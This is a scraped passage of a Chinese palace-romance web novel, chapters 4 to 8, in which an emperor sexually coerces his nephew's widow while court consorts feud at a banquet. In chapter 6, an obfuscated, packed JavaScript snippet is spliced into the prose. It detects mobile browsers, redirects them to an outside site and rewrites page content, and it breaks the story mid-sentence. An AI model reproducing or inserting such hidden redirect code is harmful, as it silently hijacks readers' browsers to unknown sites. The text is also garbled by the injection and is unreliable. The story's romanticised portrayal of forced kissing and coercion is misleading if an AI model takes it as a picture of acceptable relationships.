这事即便姜秾不说,他们几个心里也都明白,还不是能活一日算一日,三人对视了一眼,交换了一个心照不宣的眼神,最后姜彻站出来说道:“二嫂,这些年你和二哥没少照料我们三房,我们怎么能忘恩负义,咱们一家子要死一起死,要活一起活,我们三房绝不会抛下你离开。” 姜彻是个纨绔,平日里好逸恶劳,正经的官没做几天就因为犯懒主动辞官,他虽然游手好闲,却是个重情义的人,说完他给刘氏使了个眼色。 刘氏不情愿的开口了,“哎,二嫂,你说这话不会是怕我们把你那点嫁妆挥霍干净吧,你放心,我那个小酒馆已经开始盈利了,要不了多久就会回本,等我们赚了钱,保证不会再花你的银子,还能给你分红呢。” 姜穗也在一旁猛地点头,“二伯母,如今姐姐被人监视,不得自由,咱们一家子留在这里,一起想办法,看能否将姐姐救出来。” 这话简直说到了苏氏心坎里去了,苏氏感动的点头,也没有再劝他们。 姜秾回到撷芳殿,金嬷嬷歇息之后,她才能跟匀檀说几句话。 “也不知道娘会不会听我的,和三叔一家离开上京。” 匀檀道:“二夫人唯一牵挂的就是您,想必不会离开上京,娘娘,您现在都自身难保了,还去想那么多干什么,好好活着比什么都重要。” 姜秾心里当然清楚极了,很多事情她都无能为力,但她若是不做,她兴许会后悔。 她心烦意乱的躺下,次日一早,便收到宫里送来的请柬,请柬是金嬷嬷转交给她的。 金嬷嬷道:“淑妃娘娘让人送来的,邀请娘娘去御花园赏花,这事皇上也答应了,您尽管放心去便是。” 姜秾接过请柬看了一眼,随后又放在桌上。 宫里的宴会,她没兴趣参加,而且这事情经过皇帝的同意,到时候他又会想方设法将她带离宴会,困在龙榻上。 她厌恶那个地方。 金嬷嬷瞧着她恹恹的神色,似乎不感兴趣,只得说道:“娘娘不必担心,皇上没说这次用凝香露。”她的意思是告诉姜秾,皇上不会召幸她。 皇帝但凡要召幸她,必然要她用上那香露,无他,盖因她被卖到扬州花楼时,那鸨母为了将她卖个高价钱,便将这用上百种花露调制成的凝香露涂抹在她身上,如今皇帝让她涂 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宗焱得知苏氏劝姜秾另嫁,英俊的眉眼间浮现一丝戾气,他就知道姜家人不会安分,看来他不该轻易放姜秾回娘家。 “她说什么?” 金嬷嬷道:“娘娘并未答应,说是要为温昭太子守丧三年。” 说完,她瞥了一眼宗焱的也脸色,果然他的脸已肉眼可见的速度阴沉下来。 金嬷嬷打了个哆嗦,她可不是普通宫人,她是皇上身边暗卫,因为执行一项任务伤了根本,不能再习武,这才从幕后走出来,留在皇帝身边当个管事的嬷嬷,她跟了皇帝十年,即便如此,她看到皇帝这神色,心里还是发憷。 守丧?她对那个男人还真是情深。 宗焱只感觉心里仿佛扎进来一根刺,那种尖锐的难受一点点的侵蚀着他,他不喜欢姜秾心里有别人。 迟早他会把那个人的痕迹从她心里一点点抹掉。 赏花宴这一日,姜秾换了一身浅云色襦裙,罩着夹棉的山岚色立领褙子,外头一件象牙白披风,乌发挽做一个芙蓉髻,仅用一根镶南珠的簪子固定。 她的衣着甚是素淡,本来宫中妃嫔宴会,争奇斗艳的该是那些娘娘们,她不过是个边缘人物,还是尽量低调些为好。 来到御花园,四下一看,只见园中花团锦簇,妃嫔们三三两两站在一起,莺莺燕燕好不热闹。 淑妃坐在万春亭内,姜秾扶着金嬷嬷的手臂走上前,来到淑妃跟前,她屈膝行了一个万福礼,“妾身给淑妃娘娘请安。” 淑妃看着眼前那娉婷袅娜的身影,与脑海里那一夜隔着薄纱看到的妙曼身影重叠起来,淑妃眼底的冷意一闪而逝,她脸上露出盈盈笑意,“都是一家人,不必拘礼,起来吧。” 姜秾缓缓抬起头来,那张灿若朝霞的脸缓缓进入淑妃的视线里,淑妃怔了怔,下一秒,搁在膝上的手猛地收紧。 5. 第 5 章 淑妃姓秦,秦家世代镇守拥雪关,她虽然在边关长大,但却生的一副雪肤花容的好样貌,她自诩貌美,这张脸放在皇帝的妃嫔里头,也算是顶级的,可现在看到姜秾,她方知道什么叫令人神魂荡漾,这女人只需一眼,便能让男人都拜倒在她的石榴裙上。 怪不得后宫这么多女人,皇上看都不看一眼,唯独对一个寡妇上心。 淑妃内心妒意翻涌,但她还是冷静的,皇上血气方刚,定是这女人用狐媚手段引诱他,皇上这才上钩的,兴许等新鲜劲过了,就不会再理会这女人了,毕竟再美的脸,看久了也会腻。 再者说,姜秾是温昭太子妃,皇帝与她差着辈分,又是注重名声之人,他总不能冒天下之大不韪,将姜秾纳入宫中为妃。 所以,姜秾再得宠又如何,她威胁不到自己。 淑妃心思百转,脸上却是一派温婉,她笑道:“这是宫里的娘娘,你都认识一下吧。” 说着就挨个给她介绍了一番。 宫中的妃嫔以淑妃的品级最高,其次是兰嫔,再就是赵昭仪,韩婕妤,宋美人这几位,剩下的都是些品级不高的才人和选侍,总共才十来个,比起戾帝在位时后宫佳丽三千的盛况,根本不足一提。 可为什么这样清心寡欲的一个人,唯独对她有那么强烈的占有欲,姜秾不觉得有多么幸运,只盼着皇帝能快点宠幸后宫佳丽,好让她解脱。 她毕竟是前朝太子妃,除了淑妃之外,她比在座的品级都要高,便只欠了欠身,因对方是长辈,也无需站起来给她回礼,这时她听到头顶上传来一声冷哼,“姜秾,本宫与诸位姐妹都是你的长辈,你为何不向我等行大礼?” 姜秾觉得这声音耳熟,抬头一看,果然,这宋美人便是宋紫茵,昔日的御史大夫宋源之女,她们原本是没有过节的,但此人原先是宗云骞的未婚妻,宗云骞从扬州回来后,便果断的去宋府退亲,然后来姜家求娶她。 自此,她和宋紫茵的梁子就结下了,过去两人没少发生龃龉,可宋家一直被她父亲压制,宋紫茵也奈何不了她,可现在风水轮流转,自己成了阶下囚,宋紫茵却成了皇帝的美人。 姜秾知道她是借机刁难自己,可惜宋源唇枪舌剑滔滔不绝,她爹拿他也没办法,生个女儿却不大聪明。 姜秾平静的说道:“美人如今是妾身的长辈,妾身行的是晚辈礼,可若是论品级,美人还不如妾身,美人口口声声要妾身行大礼,也不知有没有这个资格?” 她可是皇帝封的“温昭太子妃”,从一品,而美人在宫中,不过是七品而已。 宋紫茵冷笑一声,“谁不知道你这个太子妃有名无实,若不是皇上仁慈,留你一命,你能活到现在?再者说,你爹坏事做尽,祸国殃民,你还有脸在本宫面前叫板?若本宫是你,根本无颜苟活于世,该以死谢罪才是。” 姜秾眼底现出怒容,她爹是错了,可她爹已经死了,再者说这个人是她爹,她爹纵然十恶不赦,她也不允许别人当着她的面诋毁。 眼角余光瞥见淑妃以及其他妃嫔,都是一副作壁上观的姿态。 姜秾也不客气了,“我爹是有错,可他已经以死谢罪了,姜家的人如今活着便是在为过去的错误恕罪,不像令尊,表面上是刚正不阿的直臣,可实际上却身在曹营心在汉,着实是好“气节”!” 新帝登基后,宋源一个前朝的御使大夫居然被封了嘉祥侯,后来就传出宋源早就跟新帝交了投名状,将昭国内部的一些机密泄露给新帝,不然新帝又怎么能在短短三年攻下昭国。 宋紫茵被气的浑身发抖,虽然她宋家保住了荣华富贵,可却背负了一个“汉奸”的骂名,她最讨厌别人拿这事来挖苦讽刺她了。 “混账,你……” 见宋紫茵落了下风,淑妃帮腔道:“姜秾,你太过分了,宋美人怎么说也是你的长辈,你竟然这般顶撞她,身为皇家儿媳妇,怎么如此不知礼数?” 姜秾算是看明白了,她们这是要合起伙来,给她一个下马威,宋紫茵刁难她,她认了,可淑妃,她自认何她没有过节,她也不知道何时得罪了此人。 好在她沉得住气,“娘娘,是宋美人无礼在先,书中有云:“事父母几谏,见志不从,又敬不违,劳而不怨。”妾只是适当劝谏而已,这是妾身做晚辈的本分,何来不知礼数一说?” 淑妃脸上已有怒容,她没想到这个姜秾身为阶下囚,却一点卑微谨慎的自觉都没有,也不知道哪里来的底气。 真的以为皇上宠幸她,她就不敢动她么? 淑妃冷声道:“好个巧舌如簧的温昭太子妃,一张嘴能颠倒黑白,你是劝谏还是挖苦,在座的诸位心里都清楚。本宫怜你孤苦伶仃待在撷芳殿,特地邀你一同赏花,可你如此大逆不道,本宫身为长辈,不得不好好管教你,来人,给本宫好好掌嘴,让温昭太子妃长长记性,记住什么叫尊卑大小。” 淑妃身后的碧珠走上前来,板着个脸道:“温昭太子妃,得罪了!” 说着,抬起手就要给姜秾一巴掌。 那只手举到半空中,还未落下,便听到一个低沉的声音传来:“住手!” 碧珠动作一顿,待看清来人时,赶紧屈膝下拜,“奴婢给皇上请安,给齐王殿下请安!” 姜秾回头看去,只见明媚的春光下,两个高大的男人朝这边大步走来,身后跟着几个太监,为首的是皇帝,一身象牙色四团龙袍,头戴金镶玉冠,那张如琢如磨的脸泛着细腻的玉泽,他的容颜本就令人极为惊艳,被春光一照,越发的夺目耀眼。 无论是容貌,还是气势,一旁的齐王宗灼都要逊色少许,宗灼的容貌偏温润柔和,五官俊朗,眉间有股闲散的之态,虽然他比皇帝年长一岁,可看起来,却还没有皇帝沉稳。 见众妃嫔已经屈膝行礼,姜秾按住那几分心惊,跟着众人拜下去。 须臾,几人已经走入万春亭。 皇帝从姜秾身边经过,并未多看她一眼,“平身。” 众妃站起来。 淑妃脸上端着温婉的笑容,她盈盈走上前,“皇上不是说不来么?” 皇帝没说话,一旁的 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齐王是圣宗的十五子,圣宗死的前一年,他便受封去了封地,刚好避开了后来的夺嫡之战,保住性命,姜秾曾听宗云骞说起过叔辈们的往事,齐王幼年丧母,太后没少照顾他,加上他和皇帝岁数相仿,两人幼年时经常在一起玩耍,感情甚笃,传闻皇帝在北境平定战乱时,齐王没少在暗中助力,后来他南下勤王,齐王也是第一个响应的。 宗焱听着她轻柔婉转的嗓音随着风飘入耳朵里,他呼吸微顿,走到主位上坐下,见宗灼的视线仍然停在姜秾身上,宗焱轻咳了一声,“刚才发生什么了?为何要打人?” 淑妃其实摸不清皇帝是什么态度,适才他走进来,都不曾看姜秾一眼,似乎也没那么在乎,可若说不在乎,他一开口问的就是姜秾之事。 还不等淑妃说明缘由,宋美人就满腹委屈走上前,同皇帝倾诉,她只说姜秾冒犯长辈,却不说自己挖苦姜秾之事。 按理说,皇帝是她的夫君,于情于理都会帮她,告完状之后,宋美人站在一旁,满心期待的等候皇帝为她做主。 这时,宗焱的目光这才落到姜秾身上,他的脸上没什么表情,却不动声色将她从头到脚都打量了一遍, “姜秾,你有什么话要说?” 姜秾见皇帝一脸陌生的神色,和在床榻上肆意玩弄她的简直判若两人,她垂下眸子道:“回皇上的话,姜秾只是劝谏宋美人,并无冒犯之举,皇上若是因此惩罚妾身,妾身也无话可说。” 齐王是最怜香惜玉的,见不得美人受委屈,还不等皇帝开口,便在一旁帮着姜秾求情。 “皇上,今日春光甚好,大家一起赏花喝酒,何必因为这点小事坏了兴致,臣瞧着温昭太子妃也是无心的,不如这件事情就算了吧。” 说着,他又朝姜秾的方向看了一眼,眼里除了惊叹,还带着些许惋惜之色。 宗焱将一切都看在眼里,她明明什么都没做,却勾的齐王心猿意马,他着实是小看她的本领了,他就不该让她露面,免得她这张脸四处招惹是非。 “既然齐王为了你求情,朕倒是可以网开一面,不过你顶撞长辈,不成体统,朕若不罚,如何服众?” 6. 第 6 章 长辈,他也知道自己是长辈,他若是真把自己当长辈,就不会去做那等寡廉少耻,强占侄媳之事了。 姜秾心里暗恨之余,又有些忐忑,她不知道皇帝会怎么罚她,他每次罚她都是在床上,用尽各种手段逼她哭着求饶,哭着承认自己错了。 想到这个,姜秾忍不住揪紧手中的帕子。 宗焱见姜秾低着头,乌黑浓密的睫毛抖个不停,身子微不可见的抖了抖,她很害怕。 怕什么?怕她吃了他? 她面对齐王之时都比他自在,他就这么可怕? 宗焱有些不悦,“在座的都是算得上是你的长辈,朕罚你给在座的诸位倒酒,就当是赔罪了。” 倒酒?就这么简单? 姜秾意外之余,又悄悄的松了口气。 “妾身遵命。” 可宋美人还是觉得太便宜姜秾了,觉得这样罚跟没罚是一样的。 她不甘心的说道:“皇上,这处罚未免太轻了些,她顶撞臣妾,侮辱臣妾的父亲,若是不让她吃点苦头,往后又怎么会将臣妾等人放在眼里?” 宗焱瞥了她一眼,“你是质疑朕的决定?” 皇帝周身冒着寒气,宋美人抬眸对上他沁凉的视线,只觉得一股寒意直钻入心底,瞬间打了个哆嗦,她摇头,“臣妾不敢。” 说完,宋美人退到一旁。 这时,齐王笑着说了句,“皇上英明。” 淑妃见皇帝已然不悦,便不敢开口说什么,他这样变着法子包庇姜秾,说明还是在乎她的,至于在乎到什么程度,她并不知晓。 不过姜秾如今正得宠,她万万不能在此时动手,免得惹怒皇上。 淑妃也跟着说了句,“皇上英明。”众妃附和。 片刻功夫,宴席又恢复热闹,淑妃命人将酒水点心都端上来,碧珠将酒壶端到姜秾面前,“温昭太子妃,请您给皇上,王爷,以及各位娘娘倒酒!” 姜秾伸手接过去,她看了一眼主位上的男人,款步走上前,来到他身边,臂上柔软的披帛轻轻扫过他的袖口,在他心里勾起些许涟漪。 她双膝弯曲蹲在他身侧,一手执壶,一手托住自己宽大的袖子,缓缓的将酒水注入杯中,她是丞相千金,自小就学规矩礼仪,言行举止都透着优雅,便是倒酒的姿势,也比寻常宫女的模样要好看些。 她袖口微微滑落,露出一截莹润的皓腕,指尖轻轻的翘起,状若兰花,手指与酒壶浑然一色,分不清哪个更白些,宗焱轻轻瞥了一眼,目光落在她的后颈处。 此时她低着头,露出一整截素白的颈,显得温顺的像只羔羊。 姜秾给他倒完,又给齐王倒酒,她靠近齐王时,齐王闻到一股淡淡的馨香,只觉得心悸神摇,不能自持,想到姜秾的身份,马上又将心里那几分想入非非给压下去,姜秾并不知齐王所想,起身给妃嫔们倒酒,倒完之后,便侍立在旁边。 酒过三巡,齐王觉得无趣,想要听些歌舞,这倒是正中几个妃嫔的下怀,她们巴不得在皇帝面前将自己的才艺展示出来。 先是韩昭仪跳舞,随后又是兰嫔抚琴,兰嫔期待的看着宗焱,“听闻皇上极擅弹琴,不知可否与臣妾合奏一曲?” 宗焱是少年天才,年少时便以才华名动上京,他琴棋书画样样精通,尤其是弹琴,他曾和著名琴师玄凌斗琴,玄凌输给他,被逼的归隐山林,从此宗焱在京中名声大噪,兰嫔这些年苦练琴艺,就是盼着能赶上宗焱一二,如今她又成了他的妃子,自然想要达成昔年和他合奏的心愿。 宗焱却淡淡说道:“朕自离京之后便不奏琴,早已生疏,你若想合奏,不如让皇兄来,他当年和朕同门学艺,琴艺不在朕之下。” 姜秾神色微动,什么叫离京后就不奏琴了?他明明三年前,还在扬州教习过她琴艺,并且还是搂在怀里教的,而且,就是他强占她的这半年里,她也多次听到他在承乾殿抚琴,他分明就是不愿同兰嫔合奏,故意找的托词罢了。 再看兰嫔,已经有些许失落之色,倒是齐王,从善如流道:“本王自然是乐意之至。” 兰嫔自然不好拒绝。 这时,齐王拿出了悬在腰间的笛子,琴笛合奏,悠扬动听,所有人都沉寂在这声音里头,唯独宗焱扭头对姜秾抬了抬下巴,示意她给自己倒酒。 姜秾走上前,一如刚才那般,屈膝蹲在他身侧,两人的袖口轻轻叠在一起。 宗焱一侧眸,又看到她雪颈间炫目的白色,借着袖摆的遮掩,猛地攥住她垂在下方的手。 姜秾惊的差点叫出声来,却又怕人发现不敢剧烈挣扎,偏偏宗焱仿佛故意逗弄她一般,手指在她的掌心轻轻划过,撩起一阵酥麻感。 好在众人的目光都落在齐王和兰嫔身上,并未注意,她就知道他让她侍酒没安好心,她咬了咬牙,手中酒壶故意一晃,酒水尽数洒在他的龙袍上。 冰凉的触感让宗焱丢开她的手,姜秾佯装慌乱的退到一旁,跪伏在地,“皇上,妾身不是有意的,请皇上恕罪。” 琴音,笛音被这突如其来的变故打断,众人看向皇帝,只见皇帝的龙袍上一片湿濡。 宋美人嘲笑道:“温昭太子妃当惯了千金小姐,又怎么会倒酒,只会徒增笑料罢了。” 姜秾暗暗咬牙,这个宋紫茵,真是什么时候都不忘了嘲笑她。 兰嫔的琴还未弹完,就被打断,略带不悦的看了姜秾一眼,随后退回位置上。 宗焱看着她一脸无辜的样子,气的暗暗发笑,胆子肥了,竟然敢当众冒犯他。 但终究自己才是始作俑者,也不好去责备她,“罢了,你适才也是听兰嫔的琴音出了神,下去。” 姜秾如蒙大赦一般,起身慌忙退出亭内,宗焱见她已走,也无心继续逗留,赏赐了兰嫔和韩昭仪之后,便匆匆离开。 姜秾原本想直接出宫的,走了几步才发现自己的袖子也弄湿了,只好先去不远处的绛雪轩换衣裳。 好在衣裳湿的不多,姜秾在屏风后脱掉外头的褙子,对着身后喊了一声,“匀檀,帮我穿衣裳。” 一阵脚步声传来,她以为是匀檀,谁知那人走到身后,猛地搂住她的细腰。 姜秾惊慌回头,仰头正好对上皇帝冷白的俊脸。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234292|166015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>姜秾要往后退,皇帝单手扣住她的细腰往怀里一带,不由分说,捏着她的下巴,低头吻住她的嘴唇。 “呜……” 姜秾的呜咽声淹没在唇齿间,挣扎不脱,只能用手拼命的捶打他的胸膛。 姜秾疼的蹙起了眉,手上的力气更大了,却不能制止他对她唇瓣的蹂躏,许久,宗焱发泄够了,终于松开她红肿的唇,打横将她抱上软榻,当他伸手要解她的衣裳时,姜秾惊呼出声来,“皇上说过今日不动我的!” 宗焱绯红的薄唇冷冷一勾,“朕是说过,可谁让你闯入朕换衣裳的地方,分明是你故意来勾引朕!” 姜秾只觉得自己倒霉透顶了,什么房间不好选,偏偏选了他的房间,“皇上,妾身不知,妾身这就走。” 说着,她伸手去推他,宗焱却霸着她不肯让开,“你敢当众泼湿朕,朕还未罚你,想走,没那么容易。”还有,她跟齐王眉来眼去的,他心里窝火。 宴席上,是他先动手,她是不得已而为之,现在他却拿这事揪着她不放,分明就是故意找借口对她动手。 “皇上怎么罚妾身,妾身都认了,能不能别在床上,妾身……身子还未好。” 上一回,她被他折腾了一整日,不过几日,底下的伤现在还没好全,若是他再动她,保不齐又要躺上七八日。 宗焱刚才已经被那一通吻撩起了火,以前没碰过她还好,如今碰过了,欲望的阀门被打开,就开始一发不可收拾。 他甚至无时无刻不想要她。 这小狐狸,之前不也是用各种方法百般推脱?拒绝他的碰触,更早一点,在扬州,她褪去全身衣物勾他心动,可是他想要动她时,她却哭的梨花带雨,花言巧语哄骗他说有热孝在身,要他等三个月再同房,他还真信了她,谁知三个月一过,她便逃之夭夭了。 宗焱不信,“是吗?让朕看看。”说着就要去掀她的裙子,姜秾看着窗外人影一闪而过,紧接着,“吱呀”一声门开了,有人走进来。 姜秾惊的差点尖叫出声。 宗焱目光一冷,匆匆放下姜秾的裙子,拿起一床被褥,盖在姜秾的身上,姜秾被遮住身体,只露出一头青丝在外头。 人还未走近,声音传进来,“皇上,怎么还未换好衣裳?” 见是齐王,宗焱松了口气,“皇兄,你来做什么?” 他声音里已有淡淡的不悦,偏偏齐王没听出来,犹自往里走,“皇上,臣见你许久不曾出来,特地过来看看。”说着,他目光往地上一扫,脸上露出一抹诧异,“这里头怎么还有女人的衣裳?” 一抬头,赫然看到皇帝坐在软榻边上,软榻上躺着一个人,身体虽然被盖住,可满头青丝如海藻般铺开,不是个女人又是什么? 宗灼惊的张大嘴巴,再去看皇帝,他的眼神如同淬了冰的利刃一般。 宗灼慌忙往后退了两步,讪讪的说道:“皇上,看来臣来的不是时候。” 与此同时,躲在被窝里的姜秾,浑身紧绷,一颗心仿佛要从喉咙里跳出来。 宗焱沉着脸,从牙缝里挤出几个字,“滚出去!” 7. 第 7 章 齐王慌忙从房内退出,在廊下站立了片刻,这时,皇帝从里头走出来。 齐王回头一看,见皇帝身上的龙袍已经换了,衣摆上有些许褶皱,拧着眉,正是一脸被打断的不悦。 齐王赶紧作揖,“皇上,臣错了,臣罪该万死。” 宗焱也没有真的要怪他的意思,眼底的那点冷意渐渐消散了,他回头往房内瞥了一眼,被打断了他也没有兴致,反正她也不想他碰她,这次就先放过她。 “走吧。” 两人一前一后,从绛雪轩离开, 齐王看着皇帝龙袍上那些褶皱,没憋住,嘴角抽了抽,“皇上,你的妃嫔都在万春亭候着呢,那里面的是谁啊?” 别看齐王比皇帝大一些,可他并不以兄长自居,说话却没个正形,放眼昭国,也只有他敢这么跟皇帝说话。 他本来就贪图享乐,不思进取,身边红颜知己也有不少,从前他就是觉得皇帝太过清心寡欲了,一点意思都没有,他不知劝了多少次,男女同房之乐妙不可言,让皇帝找个女人伺候自己,可他根本不听,他还以为他要当一辈子和尚,没想到现在终于开窍了。 宗焱见齐王满脸好奇,他扯了扯嘴唇道:“皇兄,你有心思关心这个,不如关心关心自个,皇嫂已经被你休了,要不朕给你赐婚,另娶一位续弦,如何?” 一听到娶妻,齐王就一个头两个大,他那原配出身将门,一个正儿八经的母老虎,两人成亲五年,那母老虎嫌他窝囊,又讨厌他在外头拈花惹草,直接给齐王戴了一顶绿帽,齐王发现后,气的当场写下休书,便扬长而去。 齐王用力摇摇头,“臣谢皇上隆恩,臣现在过的快活潇洒,并不想娶妻,皇上就不要为难臣了。”也不敢再问房里之人是谁了。 也不知为何没了心情,他朝皇帝拱了拱手,“皇上,臣想起还有事,先行告退了。” 见齐王吃瘪离开,宗焱心情好了不少,又回到了宴席上。 ** 屋内,姜秾直听到脚步声远去,才堪堪从被窝里钻出来,狂乱跳动的心也慢慢平复下来,却发现自己被吓出一身冷汗,这时,金嬷嬷走进来,姜秾一看到她就知道匀檀为何不见了。 姜秾用一张冷脸对着她,金嬷嬷也不介意,她赶紧将干净的衣裳给姜秾穿上,一边叹气道:“娘娘,您别怪老奴,老奴是皇上的人,只能听命于皇上,您还是赶紧想开些吧,继续跟皇上这样怄气,受罪的是您自个,反正你又摆脱不了皇上,还不如顺从些,日子也好过。” 姜秾没说话,冷着脸走出去,来到门外,只见门口的梅花簌簌如雨一般落下来。 她不信,她摆脱不了他。 姜秾分花拂柳的走了一段路,原本她不想再回宴席上了,可当她远远看到宋紫茵站在湖边时,她心里忽然有了一个主意。 姜秾回头对金嬷嬷说道:“嬷嬷,我的帕子落在绛雪轩,你去帮我拿一下。” 金嬷嬷只得折身回去,姜秾走向宋紫茵。 “宋美人。” 宋紫茵回过头来,鄙夷的看了姜秾一眼,“温昭太子妃,你还敢出现在本宫面前,是嫌丢人还没丢够,是吗?” 姜秾讥诮勾唇,“宋美人,我知道你因为云骞退婚之事一直怀恨在心,可就算云骞不退婚,你难道真会嫁给他?你们宋家早就搭上了皇帝,你怕是在那个时候就想着要退婚,将来入宫给皇帝当妃嫔吧?谁知云骞先你一步退了婚,让你成为京城笑柄,你这才对他和我怀恨在心。” “贱人,你胡说八道!” 说着,宋紫茵抬手就要给姜秾一巴掌,姜秾没有躲,结结实实的挨了着一巴掌,她的身体顺势往后倒,掉入湖中。 湖中溅起巨大的水花,宋紫茵吓得往后退了一步,没料到会发生这样的变故,还不等她反应过来,湖中溺水的姜秾发出一声尖叫,“救命啊!” 宋紫茵看着湖中那挣扎的身影,顿时慌乱起来。 在她看来,姜秾死有余辜,可她不能在众目睽睽之下死在自己手上,这样一来,她就成了杀人凶手,将来在宫里又怎么做人? 宋紫茵惊呼一声,“快来人啊!” 万春亭内的众人已经被这边的声音吸引过来了,而比万春亭的人更快一步的是金嬷嬷,她亲眼看到姜秾被宋紫茵推入水中。 宗焱看着水中挣扎的身影,一颗心猛地提起来,锐利如刀的视线扫过岸边的宋紫茵,“是你?” 宋紫茵摇摇头,“不,不是,不是我……” 两人说话的功夫,金嬷嬷已经先一步跳入水中。 姜秾的身体在冰冷刺骨的湖水中起起伏伏,双臂慌乱的划动,每一次扑腾都溅起大片水花,双脚使劲的瞪,可底下仿佛有一双手在扯她,身体不断的往下沉,她刚张开嘴,湖水猛地灌进口鼻,喉咙里,呛的她剧烈咳嗽起来。 不管她如何用力,都无法阻挡身体下沉,姜秾再一次面对死亡,可这次她的内心却是平静的,她从不惧怕死,死对她来说是一种解脱,她闭上眼睛,任由窒息感将自己一点点包裹。 就在这时,一双有力的手臂抱住她,拖着她的身体往上游。 金嬷嬷抱着姜秾游到岸边时,淑妃指挥着两个嬷嬷上前协助,不多时就将姜秾从水中救上来,皇帝从宋有祥手里拿过披风,迅速裹住姜秾的身体,金嬷嬷见姜秾昏迷过去了,她冷静的跪在一旁,手在姜秾的胸口按压着。 宗焱虽然没有上前,可双眼却紧紧盯着姜秾,只见她苍白的脸上有一个鲜明的手指印,他双手攥成拳,没想到他跟她分别不到一刻钟,就发生这样的事情。 宗焱心里涌上一股自责,好在这时,姜秾咳出声,吐了一口水,恢复了生机。 金嬷嬷起身道:“皇上,温昭太子妃,没事了。” 宗焱紧拧的眉舒展开来,他瞥了金嬷嬷一眼,“宫里派你照顾太子妃,你就是这么照 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“皇上……”宋美人脸色发表,还没来得及辩驳,就被两个小太监一左一右架着带走了。 宗焱的目光又落回姜秾身上,“宋有祥,送太子妃去承乾殿,再派人去请太医过来。” “是。” 淑妃见皇帝竟然这样不管不顾的,正想说不妥,这时,皇帝忽然发话,“淑妃,你也一同去。” 淑妃不得不佩服皇帝,心思缜密,有她在场,既可以成全他的私心,又能保住姜秾的清白。 之前她还以为皇帝对姜秾只是贪图她年轻漂亮,一时新鲜,可没想到皇帝竟然对她如此上心,淑妃内心嫉妒翻涌,她必须想方设法,将皇上的心给夺回来。 皇帝等人走后,其他妃嫔也都散了。 承乾殿侧殿,太医在给姜秾诊治过后,拱手对皇帝说道:“皇上,温昭太子妃没什么大碍,只是她本身就有寒症,这次落水引发旧疾,臣给她开个方子,调养半个月便没事了,不过……” “不过什么?快说。” 太医被皇帝紧张的神色吓了一大跳,他吞了一口唾沫,战战兢兢的道:“温昭太子妃身子虚,如今寒气入体,恐很难怀有身孕。” 皇帝眼神顿了顿,很快他又恢复平静,“无妨,活着就好。” 一旁的淑妃听了此话,莫名的松了口气,若是姜秾生不出孩子,倒是不足为惧,她也懒得继续守在这里,对皇帝屈膝拜了拜道:“皇上,宫里出了这样的大事,臣妾执掌六宫,责无旁贷,臣妾先去将此事弄个清楚,到时再来请罪。” 宗焱也没有留她的意思,微微颔首,“去吧,将宋美人身边的人好好审一审。” “是。”淑妃应下后,退了出去。 皇帝走到床榻边坐下,他抬手轻轻抚过姜秾细长的黛眉,低低道:“别装了,人都走了。” 8. 第 8 章 姜秾见他已经识穿了自己的伎俩,只得睁开眼睛。 “何时醒来的?”宗焱的手指顺着她的眼角轻轻下滑,在她细腻的脸颊上轻抚着。 “适才皇上跟太医说话之时。”姜秾一开口才发现,自己的嗓子竟然是沙哑的。 这么说,刚才的话应该是都已经听到了。 宗焱安慰她道:“你不必担忧,朕会想法子治好你的病,孩子早晚会有的。” 姜秾平静道:“也许这是天意,妾身命中无子,皇上不用安慰妾身,妾身认命了。”何况她也不想生孩子,这样一来,她都不用再吃避子汤了。 有哪个女人不在乎孩子?宗焱以为她说的是假话,他盯着她的眼睛看了两秒,却发现她的眼睛里并无任何忧伤之色,好像是真的不在意。 他忽然明白过来,“你不是认命,你是不想跟朕生,对不对?” 姜秾被他看穿了也不慌,神色淡定道:“想跟皇上生孩子的女人多的是,皇上又何必为难妾身?再者说,就算妾身真怀了皇上的孩子,皇上能让这个孩子平安出生?” 宗焱没有犹豫的说道:“那是自然。” 其实,宗焱并不在乎他跟姜秾之事被外人知道,只是为了姜秾的名声,他才顾忌一二,若她真的怀孕了,他也断然不会为了自己的脸面,去扼杀她腹中的孩子。 姜秾见他神色笃定,不像在说谎,他居然愿意同自己生孩子,真是荒唐。 他难道就没想过,这个孩子会成为他的一个污点吗? 别看她脸色如常,内心却因为男人认真的语气掀起一层涟漪。 姜秾别扭的移开视线,“就算妾身真的能怀上孩子,孩子生下来该叫皇上叔爷还是父皇?让他和妾身一样见不得光吗?若他将来知道自己的真相,又该如何面对自己的身世?”还不如不生。 宗焱觉得她想太多了,他是九五之尊,要留下她生的孩子简直易如反掌,其实,这半年来,要了她这么多次,他心里那股恨意已经慢慢消散了,姜家的事情同她无关,他不会将仇恨转移到她身上来,若她真能为他生下孩子,他自会给她名分。 但这只是他一厢情愿,别说生孩子,她连碰都不愿意他碰。 他就算把自己的真心掏出来给她,又有什么用? 宗焱淡淡道:“你百般推脱,不就是不愿么?朕不强迫你生儿育女,诚如你所说,愿为朕生孩子的女人多的是。” 一时间,两人之间的气氛又变得紧张起来,这时,匀檀端着药进来,“皇上,太子妃娘娘该吃药了。” 宗焱正在气头上,也没再搭理姜秾,起身离开。 喝完药,姜秾身体恢复了些许,穿好衣裳后,她来到正殿跟宗焱辞行。 “多谢皇上请太医给妾身治病,如今天色已晚,妾身该离开了。” 正在批阅奏章的宗焱抬头看她,“你身体正虚弱,今夜便宿在承乾殿。” 姜秾做的一切,本就是为了摆脱他的控制,她身子不好,他总不可能还召她侍寝,要是留在承乾殿,那她今日的苦就白受了。 姜秾摇头道:“皇上,今日那么多人看着妾身被抬到承乾殿,妾身若是留在这里,难免遭人非议,妾身倒是无所谓,就怕连累皇上的名声,还请皇上放妾身出宫。” 为了他的名声?宗焱差点要笑了,怎么不说她是为了自己? 看在她身体虚弱的份上,宗焱放弃为难她的念头,若真有个好歹,他召幸谁去? “既如此,你回去吧。” 姜秾紧绷的双肩松懈下来,这半年来,皇帝还是头一回这么好说话,她屈膝行了一礼,“妾身告退。” ** 春熙宫内。 